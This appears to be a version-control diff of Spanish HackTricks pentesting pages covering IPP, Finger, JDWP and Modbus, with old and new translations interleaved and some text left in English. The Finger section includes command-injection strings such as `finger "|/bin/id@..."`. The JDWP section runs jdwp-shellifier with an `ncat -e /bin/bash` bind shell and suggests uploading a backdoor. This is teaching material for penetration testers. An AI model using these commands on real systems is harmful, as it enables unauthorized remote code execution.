* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Protocolo de Impresión por Internet \(IPP\)
# Protocolo de Impresión de Internet \(IPP\)
El **Protocolo de Impresión por Internet (IPP)**, como se especifica en **RFC2910** y **RFC2911**, sirve como base para la impresión en internet. Su capacidad de ser extendido se muestra en desarrollos como **IPP Everywhere**, que tiene como objetivo estandarizar la impresión móvil y en la nube, y la introducción de extensiones para la **impresión 3D**.
El **Protocolo de Impresión de Internet (IPP)**, como se especifica en **RFC2910** y **RFC2911**, sirve como base para la impresión a través de internet. Su capacidad de ser extendido se muestra en desarrollos como **IPP Everywhere**, que busca estandarizar la impresión móvil y en la nube, y la introducción de extensiones para **impresión 3D**.
Aprovechando el protocolo **HTTP**, IPP se beneficia de prácticas de seguridad establecidas que incluyen **autenticación básica/digest** y **cifrado SSL/TLS**. Acciones como enviar un trabajo de impresión o consultar el estado de la impresora se realizan a través de **solicitudes POST HTTP** dirigidas al servidor IPP, que opera en el **puerto 631/tcp**.
Aprovechando el protocolo **HTTP**, IPP se beneficia de prácticas de seguridad establecidas que incluyen **autenticación básica/digest** y **cifrado SSL/TLS**. Acciones como enviar un trabajo de impresión o consultar el estado de la impresora se realizan a través de **solicitudes HTTP POST** dirigidas al servidor IPP, que opera en **puerto 631/tcp**.
Una implementación conocida de IPP es **CUPS**, un sistema de impresión de código abierto prevalente en varias distribuciones de Linux y OS X. A pesar de su utilidad, IPP, al igual que LPD, puede ser explotado para transmitir contenido malicioso a través de archivos **PostScript** o **PJL**, lo que destaca un riesgo de seguridad potencial.
Una implementación bien conocida de IPP es **CUPS**, un sistema de impresión de código abierto prevalente en varias distribuciones de Linux y OS X. A pesar de su utilidad, IPP, al igual que LPD, puede ser explotado para transmitir contenido malicioso a través de **archivos PostScript** o **PJL**, destacando un posible riesgo de seguridad.
```python
# Example of sending an IPP request using Python
import requests
@ -31,20 +32,19 @@ data = b"..." # IPP request data goes here
response = requests.post(url, headers=headers, data=data, verify=True)
print(response.status_code)
```
Si quieres aprender más sobre [**hackear impresoras lee esta página**](http://hacking-printers.net/wiki/index.php/Main_Page).
Si quieres aprender más sobre [**hackear impresoras, lee esta página**](http://hacking-printers.net/wiki/index.php/Main_Page).
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Puerto predeterminado:** 2301,2381
**Puerto por defecto:** 2301,2381
# **Contraseñas predeterminadas**
# **Contraseñas por defecto**
{% embed url="http://www.vulnerabilityassessment.co.uk/passwordsC.htm" %}
@ -29,16 +30,17 @@ pg_hba.conf
jboss-service.xml
.namazurc
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,31 +1,32 @@
# 79 - Pentesting Finger
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Información Básica**
El programa/servicio **Finger** se utiliza para obtener detalles sobre los usuarios de computadoras. Normalmente, la información proporcionada incluye el **nombre de inicio de sesión del usuario, nombre completo**, y, en algunos casos, detalles adicionales. Estos detalles adicionales podrían incluir la ubicación de la oficina y el número de teléfono (si está disponible), la hora en que el usuario inició sesión, el período de inactividad (tiempo de inactividad), la última vez que el usuario leyó el correo electrónico, y el contenido de los archivos de plan y proyecto del usuario.
El programa/servicio **Finger** se utiliza para recuperar detalles sobre los usuarios de computadoras. Típicamente, la información proporcionada incluye el **nombre de inicio de sesión del usuario, nombre completo**, y, en algunos casos, detalles adicionales. Estos detalles adicionales podrían abarcar la ubicación de la oficina y el número de teléfono (si está disponible), la hora en que el usuario inició sesión, el período de inactividad (tiempo inactivo), la última vez que el correo fue leído por el usuario, y el contenido de los archivos de plan y proyecto del usuario.
**Puerto predeterminado:** 79
**Puerto por defecto:** 79
```
PORT STATE SERVICE
79/tcp open finger
```
## **Enumeración**
### **Obtención de banners/Conexión básica**
### **Captura de Banner/Conexión básica**
```bash
nc -vn <IP> 79
echo "root" | nc -vn <IP> 79
@ -42,7 +43,7 @@ finger-user-enum.pl -U users.txt -t 10.0.0.1
finger-user-enum.pl -u root -t 10.0.0.1
finger-user-enum.pl -U users.txt -T ips.txt
```
#### **Nmap ejecuta un script para realizar usando scripts predeterminados**
#### **Nmap ejecuta un script para hacer usando scripts predeterminados**
### Metasploit utiliza más trucos que Nmap
```
@ -57,23 +58,24 @@ use auxiliary/scanner/finger/finger_users
finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"
```
## Rebote de Finger
## Finger Bounce
[Utilizar un sistema como un relé de finger](https://securiteam.com/exploits/2BUQ2RFQ0I/)
[Usar un sistema como un relé de finger](https://securiteam.com/exploits/2BUQ2RFQ0I/)
```
finger user@host@victim
finger @internal@external
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# Pentesting JDWP - Protocolo de cable de depuración Java
# Pentesting JDWP - Java Debug Wire Protocol
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**oficial mercancía de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Explotación
La explotación de JDWP se basa en la **falta de autenticación y cifrado del protocolo**. Generalmente se encuentra en el **puerto 8000**, pero también es posible en otros puertos. La conexión inicial se realiza enviando un "Saludo JDWP" al puerto de destino. Si un servicio JDWP está activo, responde con la misma cadena, confirmando su presencia. Este saludo actúa como un método de fingerprinting para identificar servicios JDWP en la red.
La explotación de JDWP se basa en la **falta de autenticación y cifrado del protocolo**. Generalmente se encuentra en **el puerto 8000**, pero otros puertos son posibles. La conexión inicial se realiza enviando un "JDWP-Handshake" al puerto objetivo. Si un servicio JDWP está activo, responde con la misma cadena, confirmando su presencia. Este apretón de manos actúa como un método de huellas dactilares para identificar servicios JDWP en la red.
En cuanto a la identificación de procesos, buscar la cadena "jdwk" en los procesos de Java puede indicar una sesión JDWP activa.
En términos de identificación de procesos, buscar la cadena "jdwk" en procesos de Java puede indicar una sesión JDWP activa.
La herramienta principal es [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Puedes usarla con diferentes parámetros:
```bash
@ -26,36 +27,37 @@ La herramienta principal es [jdwp-shellifier](https://github.com/hugsy/jdwp-shel
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
```
Encontré que el uso de `--break-on 'java.lang.String.indexOf'` hace que el exploit sea más **estable**. Y si tienes la oportunidad de cargar un backdoor en el host y ejecutarlo en lugar de ejecutar un comando, el exploit será aún más estable.
I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit more **estable**. And if you have the change to upload a backdoor to the host and execute it instead of executing a command, the exploit will be even more stable.
## Más detalles
## More details
**Este es un resumen de [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Consulta para más detalles.
**This is a summary of [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Check it for further details.
1. **Visión general de JDWP**:
- Es un protocolo binario de red basado en paquetes, principalmente síncrono.
1. **JDWP Overview**:
- It's a packet-based network binary protocol, primarily synchronous.
- Carece de autenticación y cifrado, lo que lo hace vulnerable cuando se expone a redes hostiles.
2. **Handshake de JDWP**:
- Se utiliza un proceso de handshake simple para iniciar la comunicación. Se intercambia una cadena ASCII de 14 caracteres "JDWP-Handshake" entre el Depurador (cliente) y el Depurado (servidor).
2. **JDWP Handshake**:
- Se utiliza un proceso de apretón de manos simple para iniciar la comunicación. Se intercambia una cadena ASCII de 14 caracteres “JDWP-Handshake” entre el Depurador (cliente) y el Depurado (servidor).
3. **Comunicación de JDWP**:
3. **JDWP Communication**:
- Los mensajes tienen una estructura simple con campos como Longitud, Id, Bandera y Conjunto de Comandos.
- Los valores del Conjunto de Comandos van desde 0x40 hasta 0x80, representando diferentes acciones y eventos.
- Los valores del Conjunto de Comandos varían de 0x40 a 0x80, representando diferentes acciones y eventos.
4. **Explotación**:
- JDWP permite cargar e invocar clases y bytes de código arbitrarios, lo que plantea riesgos de seguridad.
- El artículo detalla un proceso de explotación en cinco pasos, que implica obtener referencias de tiempo de ejecución de Java, establecer puntos de interrupción e invocar métodos.
4. **Exploitation**:
- JDWP permite cargar e invocar clases y bytecode arbitrarios, lo que plantea riesgos de seguridad.
- El artículo detalla un proceso de explotación en cinco pasos, que involucra la obtención de referencias de Java Runtime, la configuración de puntos de interrupción y la invocación de métodos.
5. **Explotación en la vida real**:
- A pesar de las posibles protecciones de firewall, los servicios de JDWP son descubribles y explotables en escenarios del mundo real, como se demuestra en búsquedas en plataformas como ShodanHQ y GitHub.
- El script de exploit se probó contra varias versiones de JDK y es independiente de la plataforma, ofreciendo una Ejecución Remota de Código (RCE) confiable.
5. **Real-Life Exploitation**:
- A pesar de las posibles protecciones de firewall, los servicios JDWP son descubribles y explotables en escenarios del mundo real, como lo demuestran las búsquedas en plataformas como ShodanHQ y GitHub.
- El script de explotación fue probado contra varias versiones de JDK y es independiente de la plataforma, ofreciendo una ejecución remota de código (RCE) confiable.
6. **Implicaciones de seguridad**:
- La presencia de servicios JDWP abiertos en Internet subraya la necesidad de revisiones de seguridad regulares, deshabilitar funcionalidades de depuración en producción y configuraciones adecuadas de firewall.
6. **Security Implications**:
- La presencia de servicios JDWP abiertos en internet subraya la necesidad de revisiones de seguridad regulares, deshabilitando funcionalidades de depuración en producción y configuraciones adecuadas de firewall.
### **Referencias:**
### **References:**
* [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)]
* [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
@ -70,16 +72,17 @@ Encontré que el uso de `--break-on 'java.lang.String.indexOf'` hace que el expl
* [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
* [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,23 +1,24 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Información Básica
En 1979, el **Protocolo Modbus** fue desarrollado por Modicon, sirviendo como una estructura de mensajería. Su uso principal implica facilitar la comunicación entre dispositivos inteligentes, operando bajo un modelo maestro-esclavo/cliente-servidor. Este protocolo desempeña un papel crucial en permitir que los dispositivos intercambien datos de manera eficiente.
En 1979, el **Protocolo Modbus** fue desarrollado por Modicon, sirviendo como una estructura de mensajería. Su uso principal implica facilitar la comunicación entre dispositivos inteligentes, operando bajo un modelo maestro-esclavo/cliente-servidor. Este protocolo juega un papel crucial en permitir que los dispositivos intercambien datos de manera eficiente.
**Puerto predeterminado:** 502
**Puerto por defecto:** 502
```
PORT STATE SERVICE
502/tcp open modbus
@ -28,16 +29,17 @@ nmap --script modbus-discover -p 502 <IP>
msf> use auxiliary/scanner/scada/modbusdetect
msf> use auxiliary/scanner/scada/modbus_findunitid
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
